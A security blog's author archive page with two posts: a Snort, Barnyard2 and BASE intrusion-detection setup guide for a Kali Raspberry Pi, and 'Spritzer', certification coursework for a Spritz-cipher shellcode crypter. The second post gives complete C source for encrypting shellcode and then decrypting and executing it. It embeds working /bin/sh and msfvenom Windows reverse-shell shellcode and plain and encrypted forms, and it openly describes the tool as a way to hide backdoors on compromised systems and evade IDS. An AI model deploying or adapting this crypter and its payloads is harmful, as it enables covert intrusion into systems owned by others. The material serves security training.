Author Archives: Re4son

About Re4son

Ultima Ratio Regum

Sticky Finger’s Kali-Pi – Configuration of Snort

The Sticky Fingers Kali-Pi installation walk through did not include any detailed information about the configuration of Snort, Barnyard2 and PulledPork on the Raspberry Pi 2 running Kali.

Here are my configuration notes.

Snort:

sudo bash
apt install apache2 apache2-doc autoconf automake bison ca-certificates ethtool flex g++ gcc libapache2-mod-php libcrypt-ssleay-perl default-libmysqlclient-dev libnet1 libnet1-dev libpcre3 libpcre3-dev libpcap-dev libphp-adodb libssl-dev libtool libwww-perl make default-mysql-client mysql-common default-mysql-server php-cli php-gd php-mysql php-pear sysstatcd /usr/local/src
wget https://libdnet.googlecode.com/files/libdnet-1.12.tgz
wget https://www.snort.org/downloads/snort/daq-2.0.6.tar.gz
wget https://www.snort.org/downloads/snort/snort-2.9.8.2.tar.gz
tar xvfvz libdnet-1.12.tgz
cd libdnet-1.12
./configure "CFLAGS=-fPIC"
make && make install && make check
ln -s /usr/local/lib/libdnet.1.0.1 /usr/lib/libdnet.1

cd /usr/local/src
tar xvfz daq-2.0.6.tar.gz
cd daq-2.0.6
./configure
make && make install

cd /usr/local/src && wget --no-check-certificate https://www.snort.org/documents/185 -O snort.conf
tar xvfz snort-2.9.8.2.tar.gz
cd snort-2.9.8.2
./configure --enable-sourcefire; make; sudo make install

mkdir /usr/local/etc/snort /usr/local/etc/snort/rules /var/log/snort /var/log/barnyard2 /usr/local/lib/snort_dynamicrules
touch /usr/local/etc/snort/rules/white_list.rules /usr/local/etc/snort/rules/black_list.rules /usr/local/etc/snort/sid-msg.map

groupadd snort && useradd -g snort snort

cp /usr/local/src/snort-2.9.8.2/etc/*.conf* /usr/local/etc/snort
cp /usr/local/src/snort-2.9.8.2/etc/*.map /usr/local/etc/snort
cp /usr/local/src/snort.conf /usr/local/etc/snort
mkdir /var/log/snort
chown snort:snort /var/log/snort
nano /usr/local/etc/snort/snort.conf

replace

var RULE_PATH ../rules
var SO_RULE_PATH ../so_rules
var PREPROC_RULE_PATH ../preproc_rules
var WHITE_LIST_PATH ../rules
var BLACK_LIST_PATH ../rules

with

var RULE_PATH rules
var SO_RULE_PATH so_rules
var PREPROC_RULE_PATH preproc_rules
var WHITE_LIST_PATH rules
var BLACK_LIST_PATH rules

delete or comment out all of the “include $RULE_PATH” lines except “local.rules”

vi /usr/local/etc/snort/rules/local.rules

Enter a simple rule like this for testing:

alert icmp any any -> $HOME_NET any (msg:"ICMP test"; sid:10000001; rev:1;)

Now we can start and test snort.

/usr/local/bin/snort -A console -q -u snort -g snort -c /usr/local/etc/snort/snort.conf -i eth0

Ping the management IP address from another machine, alerts should be printed to the console like this:
02/09-11:29:43.450236 [**] [1:10000001:0] ICMP test [**] [Priority: 0] {ICMP} 172.26.12.1 -> 172.26.12.2
02/09-11:29:43.450251 [**] [1:10000001:0] ICMP test [**] [Priority: 0] {ICMP} 172.26.12.2 -> 172.26.12.1

Install & configure Barnyard2:

cd /usr/local/src && wget https://github.com/firnsy/barnyard2/archive/master.tar.gz
tar -zxf master.tar.gz && cd barnyard2-*
autoreconf -fvi -I ./m4 && ./configure --with-mysql --with-mysql-libraries=/usr/lib/arm-linux-gnueabihf/ && make && make install
mv /usr/local/etc/barnyard2.conf /usr/local/etc/snort
cp schemas/create_mysql /usr/local/src
nano /usr/local/etc/snort/barnyard2.conf

Line #27 change to /usr/local/etc/snort/reference.config
Line #28 change to /usr/local/etc/snort/classification.config
Line #29 change to /usr/local/etc/snort/gen-msg.map
Line #30 change to /usr/local/etc/snort/sid-msg.map
Line #227 change to output alert_fast
At the end of the file add this line:

output database: log, mysql, user=snort password=<mypassword> dbname=snort host=localhost

Setup the MySQL server

service mysqld start
mysql -u root -p

Type in the root password

In the mysql console (pick a password as ‘mypassword’ that is different from root password):

create database snort;
grant CREATE, INSERT, SELECT, DELETE, UPDATE on snort.* to snort@localhost;
CREATE USER snort@localhost IDENTIFIED BY 'mypassword';
source /usr/local/src/create_mysql

List the newly created tables:

show tables;

Exit the mysql console

exit

 

/usr/local/bin/snort -q -u snort -g snort -c /usr/local/etc/snort/snort.conf -i eth0 &
/usr/local/bin/barnyard2 -c /usr/local/etc/snort/barnyard2.conf -d /var/log/snort -f snort.log -w /usr/local/etc/snort/bylog.waldo -C /usr/local/etc/snort/classification.config &

PulledPork:

cd /usr/local/src
git clone https://github.org/shirkdog/pulledpork
cd pulledpork
cp pulledpork.pl /usr/local/bin && cp etc/*.conf /usr/local/etc/snort

To use the Sourcefire VRT Certified Rules, go to snort.org, register for an account and get an “oinkcode”, this will allow you to download their Registered User rule set.

edit “/usr/local/etc/snort/pulledpork.conf”:
Line 19: enter your “oinkcode” where appropriate or comment out the line
Line 26: enter your “oinkcode” where appropriate or comment out the line
Line 133: change to: distro=Debian-6-0

chmod +x /usr/local/bin/pulledpork.pl

mkdir /usr/local/etc/snort/rules/iplists

To run:
/usr/local/bin/pulledpork.pl -c /usr/local/etc/snort/pulledpork.conf -T -l

Base:

cd /usr/local/src && sudo wget https://sourceforge.net/projects/secureideas/files/BASE/base-1.4.5/base-1.4.5.tar.gz
sudo tar -zxf base-1.4.5.tar.gz && sudo cp -r base-1.4.5 /var/www/base
sudo chown www-data:www-data /var/www/base
sudo cp /etc/apache2/sites-available/default-ssl.conf /etc/apache2/sites-enabled/

Add virtual directory “base” aka “/var/www/base/” to “/etc/apache2/sites-enabled/default-ssl.conf”

Alias /base "/var/www/base/"
<Directory "/var/www/base/">
  DirectoryIndex index.php
</Directory>

Change line #449 in “/etc/php5/apache2/php.ini” to read:

error_reporting = E_ALL & ~E_NOTICE

Enable SSL

sudo a2enmod ssl
sudo pear config-set preferred_state alpha && pear channel-update pear.php.net
sudo pear install --alldeps --force Image_Color2 Image_Canvas Image_Graph
sudo service apache2 restart
sudo perl -MCPAN -e 'install  Geography::Countries'
perl -MCPAN -e 'install  IP::Country'
cd /usr/share/php/Image/Graph/Images/Maps
cp /var/www/base/world_map6.* .

Start mysql server and apache2 server

Open “https://[ip-address]/base” in your favorite browser and follow steps to configure:
Click Continue, choose English
Path to adodb: /usr/share/php/adodb
Click Continue
Database Name: snort
Database Host: localhost
Database Port: [leave blank]
Database User Name: snort
Database Password:

Create admin user

Click “create baseag” which extends the DB to support BASE.

nano /var/www/base/base_conf.php
Enforce authentication
$Use_Auth_System = 1;

Towards the end, find the line:
//$IP2CC = “/usr/bin/ip2cc”;
Add instead:
$IP2CC = “/usr/local/bin/ip2cc”;

Fix the fonts:

ln -s /usr/share/fonts/truetype/dejavu /usr/share/php/Image/Canvas/Fonts

The following document from Jason Weir helped me a lot:
Debian___Snort_based_Intrusion_Detection_System

As always, please give me feedback in the forums so I can improve on this.

Many thanks,

Re4son

Facebooktwitterredditpinterestlinkedinmail

Spritzer – The cross-platform Spritz Crypter

SLAE_logo2

Content

  1. Why encrypting?
  2. What encryption algorithm
  3. Writing the crypter
  4. Encrypting the shellcode on Linux
  5. Decrypting and executing the shellcode on Linux
  6. Encrypting the shellcode on Windows
  7. Decrypting and executing the shellcode on Windows

All files are available on github.

1. Why encrypting?

In many cases, encoding shellcode will get it past intrusion detection – especially when using a custom encoder written for that particular attack.

There are situations though, where we have to get the big guns out. The most effective of which is a crypter.

Today I am going to write a little program that encrypts our shellcode using a given password as key and decrypts & executes it on the target system when the same password is provided.

The typical use case for this crypter is hiding privilege escalation exploits or backdoors on compromised systems. The executable stays hidden on the target and can be re-activated by providing the correct password.

2. What encryption algorithm

RC4 is the best algorithm for such a purpose as it is very effective and extremely lightweight. Bruce Schneier calls it a “too-good-to-be-true cipher”.

Last year, Ron Rivest, one of the inventors of RC4, has given a talk about a possible replacement called “Spritz”. It currently has some drawbacks, one of them is performance, but taking this opportunity I decided to play along and implement his idea.

Given that the main purpose is obfuscation it should be fairly safe to use an unproven algorithm.

Here is a link to Ron’s paper on Spritz:

http://people.csail.mit.edu/rivest/pubs/RS14.pdf

3. Writing the crypter

To maintain simplicity I have to consider the following requirements:

  • Single code base: I am using the same code for both the encrypter and the decrypter
    • To use it as encrypter we add the command line argument -e (or anything, really)
    • paste the plaintext shellcode in before compiling it as encrypter
    • paste the encrypted shellcode in before compiling it as decrypter
  • NULL character warning:
    • The crypter will spit out a warning if it detects a NULL character in the cyphertext – NULL characters won’t work with the strlen function.
    • If either plaintext of cyphertext contain NULL characters and that’s ok then we have to hardcode the length into the code as a workaround on an individual basis.

According to Ron’s paper, we have to create the following functions:

Let’s build those functions according to his specs:

ALIGNED(64) typedef struct State_ {
    unsigned char s[ARRAY_LENGTH];
    unsigned char a;
    unsigned char i;
    unsigned char j;
    unsigned char k;
    unsigned char w;
    unsigned char z;
} State;
static void initialize_state(State *state)
{
    unsigned int v;

    for (v = 0; v < ARRAY_LENGTH; v++) {
        state->s[v] = (unsigned char) v;
    }
    state->a = 0;
    state->i = 0;
    state->j = 0;
    state->k = 0;
    state->w = 1;
    state->z = 0;
}

 

static void absorb(State *state, const unsigned char *msg, size_t length)
{
    size_t v;

    for (v = 0; v < length; v++) {
        absorb_byte(state, msg[v]);
    }
}

 

static void absorb_byte(State *state, const unsigned char b)
{
    absorb_nibble(state, LOW(b));
    absorb_nibble(state, HIGH(b));
}

 

static void absorb_nibble(State *state, const unsigned char x)
{
    unsigned char t;
    unsigned char y;

    if (state->a == ARRAY_LENGTH / 2) {
        shuffle(state);
    }
    y = ARRAY_LENGTH / 2 + x;
    t = state->s[state->a];
    state->s[state->a] = state->s[y];
    state->s[y] = t;
    state->a++;
}

 

static void absorb_stop(State *state)
{
    if (state->a == ARRAY_LENGTH / 2) {
        shuffle(state);
    }
    state->a++;
}

 

static void shuffle(State *state)
{
    whip(state);
    crush(state);
    whip(state);
    crush(state);
    whip(state);
    state->a = 0;
}

 

static void whip(State *state)
{
    const unsigned int r = ARRAY_LENGTH * 2;
    unsigned int       v;

    for (v = 0; v < r; v++) {
        update(state);
    }
    state->w += 2;
}

 

static void crush(State *state)
{
    unsigned char v;
    unsigned char x1;
    unsigned char x2;
    unsigned char y;

    for (v = 0; v < ARRAY_LENGTH / 2; v++) {
        y = (ARRAY_LENGTH - 1) - v;
        x1 = state->s[v];
        x2 = state->s[y];
        if (x1 > x2) {
            state->s[v] = x2;
            state->s[y] = x1;
        } else {
            state->s[v] = x1;
            state->s[y] = x2;
        }
    }
}

 

static void squeeze(State *state, unsigned char *out, size_t outlen)
{
    size_t v;

    if (state->a > 0) {
        shuffle(state);
    }
    for (v = 0; v < outlen; v++) {
        out[v] = drip(state);
    }
}

 

static unsigned char drip(State *state)
{
    if (state->a > 0) {
        shuffle(state);
    }
    update(state);

    return output(state);
}

 

static void update(State *state)
{
    unsigned char t;
    unsigned char y;

    state->i += state->w;
    y = state->j + state->s[state->i];
    state->j = state->k + state->s[y];
    state->k = state->i + state->k + state->s[state->j];
    t = state->s[state->i];
    state->s[state->i] = state->s[state->j];
    state->s[state->j] = t;
}

 

static unsigned char output(State *state)
{
    const unsigned char y1 = state->z + state->k;
    const unsigned char x1 = state->i + state->s[y1];
    const unsigned char y2 = state->j + state->s[x1];

    state->z = state->s[y2];

    return state->z;
}

 

static void key_setup(State *state, const unsigned char *key, size_t keylen)
{
    initialize_state(state);
    absorb(state, key, keylen);
}

 

int encrypt(unsigned char *out, const unsigned char *msg, size_t msglen,
               const unsigned char *key, size_t keylen)
{
    State  state;
    size_t v;

    key_setup(&state, key, keylen);
    for (v = 0; v < msglen; v++) {
        out[v] = msg[v] + drip(&state);

    }
    memzero(&state, sizeof state);

    return 0;
}

 

static void memzero(void *pnt, size_t len)
{
    volatile unsigned char *pnt_ = (volatile unsigned char *) pnt;
    size_t                     i = (size_t) 0U;

    while (i < len) {
        pnt_[i++] = 0U;
    }

}

 

int decrypt(unsigned char *out, const unsigned char *c, size_t clen,
               const unsigned char *key, size_t keylen)
{
    State  state;
    size_t v;

    key_setup(&state, key, keylen);
    for (v = 0; v < clen; v++) {
        out[v] = c[v] - drip(&state);
    }
    memzero(&state, sizeof state);

    return 0;
}

There we go. All that’s left to do is putting it in sequence and create our main function that encrypts and decrypts/executes our shellcode:

/****************************************************************************
*    spritzer -- Cross platform Spritz Crypter
*
*                Program to encrypt payload with, or
*                to decrypt and execute payload
*                depending on the command line arguments
*                We are using the experimental SPRITZ cypher
*
*    Version   : 1.0
*    Release   : 16/06/2015
*    Author    : Re4son <re4son [ at ] whitedome.com.au>
*    Doc       : http://www.whitedome.com.au/spritzer
*    Purpose   : to encrypt / decrypt&execute a shellcode
*    Platforms : Windows and Linux - both 32 and 64 bit
*
*    Compile   : Linux   = gcc -z execstack spritzer.c -o spritzer
*                Windows = gcc spritzer.c -o spritzer.exe
*                          (compile in VM with NX turned off)
*
*    Usage     : Encrypt         : ./spritzer <password> -e
*                Decrypt & run   : ./spritzer <password>
*
*                1. Encrypt shellcode:
*                                        - copy and paste your plaintext
*                                          shellcode below as "shellcode[]"
*                                        - compile 
*                                        - run ./spritzer <password> -e
*                                        - copy and paste the resulting
*                                          cyphertext below as "shellcode[]"
*                                        - recompile
*                                        - Done
*
*                2. Execute encrypted shellcode:
*                                        - hold on to your seats
*                                        - run ./spritzer <password>
*                                        - Done
*
*    Note      : The encryption function checks for NULL characters and
*                spits out a warning when found. NULL characters stuff up
*                strlen so you better change the password or hard code the
*                lenght in main().
*
****************************************************************************/

#include <string.h>
#include <stdio.h>

/* TODO - copy and paste your plaintext OR encrypted shellcode here: */
const unsigned char shellcode[] = "\x7c\x49\x65\xd8\xec\x22\xfc\xb6\xa9\xc8\xf5\x2f\x2f\x26\x38\xac\xbe\x3f\x5f\xe4\x3f\x67\xf0\x82\x64";

//
//
/*Examples:                                                         */
/* Working Linux shellcodes:                                        */
/* execve bin/bash plaintext shellcode:
const unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
/*
/* execve bin/bash cyphertext shellcode - password "P4ssw0rd":
const unsigned char shellcode[] = "\x7c\x49\x65\xd8\xec\x22\xfc\xb6\xa9\xc8\xf5\x2f\x2f\x26\x38\xac\xbe\x3f\x5f\xe4\x3f\x67\xf0\x82\x64";
*/

/* Working Windows shellcodes:                                      */
/* msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -a x86 --platform Windows -f c
const unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x05\x39\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
*/
/* windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 cyphertext shellcode - password "re4son"
const unsigned char shellcode[] = "\xb0\xa7\xa5\xa2\xbb\x51\x88\x94\xbb\x8e\x91\xd5\x8f\x4b\xd1"
"\x2b\x2d\xc9\x59\x81\x6e\x13\x36\x08\xe5\x58\x21\x3d\xb9\x4a"
"\xfa\x20\xc3\x0c\xa3\x2a\xb9\x41\x23\xa2\x8d\x83\xc3\xb9\x95"
"\xaa\x9b\xdd\x06\x34\x2b\x1d\x31\xce\x57\x8d\x36\x8e\x7e\xb9"
"\xb2\xe6\x62\x9a\x94\xb6\xc5\x36\x89\xb0\x0c\x57\xe5\x43\x69"
"\xe8\x91\x94\x8f\x8c\x91\x34\x86\x7c\xbc\x4d\x6b\x2c\x60\xfc"
"\xec\x28\x61\xd7\x1f\x8d\xe8\x21\xd6\x42\xd9\xa8\x92\xde\x8f"
"\x46\x8b\x69\xfb\x02\xc7\x9c\x97\x03\xf2\xba\xc1\xa7\x6a\xac"
"\xc2\xc2\x64\x5d\x2c\x18\xb0\x4c\xe6\x38\x35\x27\x2a\xd9\x3e"
"\x24\xa8\xa3\xff\x69\x8c\xb6\x5a\x2d\x91\x6e\xa2\x6f\x98\xe3"
"\xf5\xec\x93\xd8\xe0\x9e\x14\x5d\x68\x93\x58\x14\xf8\xf3\x07"
"\x8c\xd7\xb9\x5c\x56\x8d\xb7\x11\xbe\xcf\xb1\x2a\x72\xa2\x6c"
"\x5d\x1d\x29\x2c\xba\xbb\x26\x17\xf9\x2e\xa6\xdd\x7a\xa8\x51"
"\x82\x8c\x1b\x17\x69\x59\x95\xc8\xda\xf2\x35\xd0\xc0\x80\x32"
"\xf6\x8b\x18\xec\x13\x7f\x44\x26\xdf\x3f\x5e\x22\xa8\xbc\xad"
"\xe7\xd4\xd8\xc7\x84\xb6\xbb\x8b\xb3\xba\xce\x1f\x26\x65\x23"
"\x14\x17\x60\xf5\xd1\x2d\x1b\x7c\x79\xcb\x34\xfd\x4e\x1a\x14"
"\x28\xa2\xfe\x8f\xf4\xa8\x66\x25\xec\x2e\x85\x8c\x8f\x24\xb9"
"\x92\x82\x41\x1c\x61\xce\x7f\x79\x59\x3b\x9c\xf6\x34\x3f\x35"
"\x54\x83\x84\xa2\xab\xc2\x7c\xd2\xf2\xbb\xca\x4b\x58\xdc\x9f"
"\x08\xc2\x5c\x93\xc7\x6c\x52\x76\x52\xc6\x14\xf9\x9a\x08\x8d"
"\x7f\xd5\x86\x34\xf7\xb5\x97\x51\x2a";
*/

#define LOW(B)  ((B) & 0xf)
#define HIGH(B) ((B) >> 4)
#define ARRAY_LENGTH        256
#define ALIGNED(S) __attribute__((aligned(S)))

ALIGNED(64) typedef struct State_ {
    unsigned char s[ARRAY_LENGTH];
    unsigned char a;
    unsigned char i;
    unsigned char j;
    unsigned char k;
    unsigned char w;
    unsigned char z;
} State;


static void initialize_state(State *state)
{
    unsigned int v;

    for (v = 0; v < ARRAY_LENGTH; v++) {
        state->s[v] = (unsigned char) v;
    }
    state->a = 0;
    state->i = 0;
    state->j = 0;
    state->k = 0;
    state->w = 1;
    state->z = 0;
}

static void update(State *state)
{
    unsigned char t;
    unsigned char y;

    state->i += state->w;
    y = state->j + state->s[state->i];
    state->j = state->k + state->s[y];
    state->k = state->i + state->k + state->s[state->j];
    t = state->s[state->i];
    state->s[state->i] = state->s[state->j];
    state->s[state->j] = t;
}

static unsigned char output(State *state)
{
    const unsigned char y1 = state->z + state->k;
    const unsigned char x1 = state->i + state->s[y1];
    const unsigned char y2 = state->j + state->s[x1];

    state->z = state->s[y2];

    return state->z;
}

static void crush(State *state)
{
    unsigned char v;
    unsigned char x1;
    unsigned char x2;
    unsigned char y;

    for (v = 0; v < ARRAY_LENGTH / 2; v++) {
        y = (ARRAY_LENGTH - 1) - v;
        x1 = state->s[v];
        x2 = state->s[y];
        if (x1 > x2) {
            state->s[v] = x2;
            state->s[y] = x1;
        } else {
            state->s[v] = x1;
            state->s[y] = x2;
        }
    }
}

static void whip(State *state)
{
    const unsigned int r = ARRAY_LENGTH * 2;
    unsigned int       v;

    for (v = 0; v < r; v++) {
        update(state);
    }
    state->w += 2;
}

static void shuffle(State *state)
{
    whip(state);
    crush(state);
    whip(state);
    crush(state);
    whip(state);
    state->a = 0;
}

static void absorb_stop(State *state)
{
    if (state->a == ARRAY_LENGTH / 2) {
        shuffle(state);
    }
    state->a++;
}

static void absorb_nibble(State *state, const unsigned char x)
{
    unsigned char t;
    unsigned char y;

    if (state->a == ARRAY_LENGTH / 2) {
        shuffle(state);
    }
    y = ARRAY_LENGTH / 2 + x;
    t = state->s[state->a];
    state->s[state->a] = state->s[y];
    state->s[y] = t;
    state->a++;
}

static void absorb_byte(State *state, const unsigned char b)
{
    absorb_nibble(state, LOW(b));
    absorb_nibble(state, HIGH(b));
}

static void absorb(State *state, const unsigned char *msg, size_t length)
{
    size_t v;

    for (v = 0; v < length; v++) {
        absorb_byte(state, msg[v]);
    }
}

static unsigned char drip(State *state)
{
    if (state->a > 0) {
        shuffle(state);
    }
    update(state);

    return output(state);
}

static void squeeze(State *state, unsigned char *out, size_t outlen)
{
    size_t v;

    if (state->a > 0) {
        shuffle(state);
    }
    for (v = 0; v < outlen; v++) {
        out[v] = drip(state);
    }
}

static void memzero(void *pnt, size_t len)
{
    volatile unsigned char *pnt_ = (volatile unsigned char *) pnt;
    size_t                     i = (size_t) 0U;

    while (i < len) {
        pnt_[i++] = 0U;
    }

}

static void key_setup(State *state, const unsigned char *key, size_t keylen)
{
    initialize_state(state);
    absorb(state, key, keylen);
}

int encrypt(unsigned char *out, const unsigned char *msg, size_t msglen,
               const unsigned char *key, size_t keylen)
{
    State  state;
    size_t v;

    key_setup(&state, key, keylen);
    for (v = 0; v < msglen; v++) {
        out[v] = msg[v] + drip(&state);

    }
    memzero(&state, sizeof state);

    return 0;
}

int decrypt(unsigned char *out, const unsigned char *c, size_t clen,
               const unsigned char *key, size_t keylen)
{
    State  state;
    size_t v;

    key_setup(&state, key, keylen);
    for (v = 0; v < clen; v++) {
        out[v] = c[v] - drip(&state);
    }
    memzero(&state, sizeof state);

    return 0;
}


int main(int argc, char **argv)
{
    unsigned char       out[2048];
    unsigned char         *key;
    size_t              i, key_length;
    size_t                 shellcode_length = sizeof shellcode;
    int                 badchars = 0;
    int (*ret)() = (int(*)())out;

    if (argc == 1){
        fprintf(stderr,"Please provide a key\n");
        return -1;
    } else {
        key = (unsigned char *)argv[1];
        key_length = strlen((char *)key);
        if(key_length > ARRAY_LENGTH){
                printf("Key is too long. It should be less than 256 characters\n");
                return(-1);
        }
    }

    if (argc > 2){
        encrypt(out, shellcode, shellcode_length, key, key_length);
        for (i = 0; i < (shellcode_length-1); i++) {
            printf("\\x%02x", out[i]);
            if (out[i] == 0)
                badchars ++;
        }
        printf("\n");
        if (badchars > 0){
           printf("\n\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
            printf("\t!!              WARNING            !!\n");
            if (badchars == 1)
                printf("\t!!        Found %02d bad char        !!\n", badchars);
            else
                printf("\t!!        Found %02d bad chars       !!\n", badchars);
            printf("\t!!---------------------------------!!\n");
            printf("\t!! Please use a different password !!\n");
            printf("\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n\n");
         }
    } else {
           decrypt(out, shellcode, shellcode_length, key, key_length);
           ret();
    }

    return 0;
}

As we can see, the majority of complexity went into the key setup. The actual encryption algorithm is fairly simple.

4. Encrypting the shellcode on Linux

Let’s pick a traditional execve bin/sh shellcode and add it into our crypter:

slae07_01

Compile and run it with a password that will be used as the encryption key and the -e switch to define the encryption mode:

slae07_02

Great, there is our encrypted shellcode.

Now let’s add it back into the crypter:

slae07_03

Save and compile it.

5. Decrypting and executing the shellcode on Linux

This time we are executing the crypter without the -e switch and, for the fun of it, with an incorrect password:

slae07_04

Awesome, the shellcode gets decrypted and because we used the wrong key, resulted in non-executable stuff.

Let’s run it again with the correct password:

slae07_05

Perfect. Here is our shell.

There we have it – a custom crypter and, as far as I can tell, something no one else has done with this algorithm before – a sure way to fly under any IDS’ radar.

Mission accomplished.

6. Encrypting the shellcode in Windows

Just for good measure, here is a walk through on Windows:

Let’s use msfvenom to get a reverse shell for Windows:

spritzer-win1

Let’s add it in:

spritzer-win2

By the way – I’ve arbitrarily set the limit for the shellcode buffer to 2048 bytes. To change it just initialize “out” with your preferred value:

int main(int argc, char **argv)
{
unsigned char       out[2048];

Moving on, let’s compile it and run the executable to obtain the encrypted string:

spritzer-win3

Perfect.

Strangely enough the bad character doesn’t really seem to have any impact.

Anyway, here we go. Let’s put the cyphertext back into our source code:

spritzer-win4

and compile it to get our finished product:

spritzer-win5

Finished.

7. Decrypting and executing the shellcode on Windows

All that’s left to do is to upload the spritzer to our target machine and execute it at your leisure:

spritzer-win6

Voila, Bob’s your uncle.

Any questions, comments and suggestions are highly welcomed. Just shoot me an e-mail to re4son <at> whitedome.com.au

All files are available on github.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail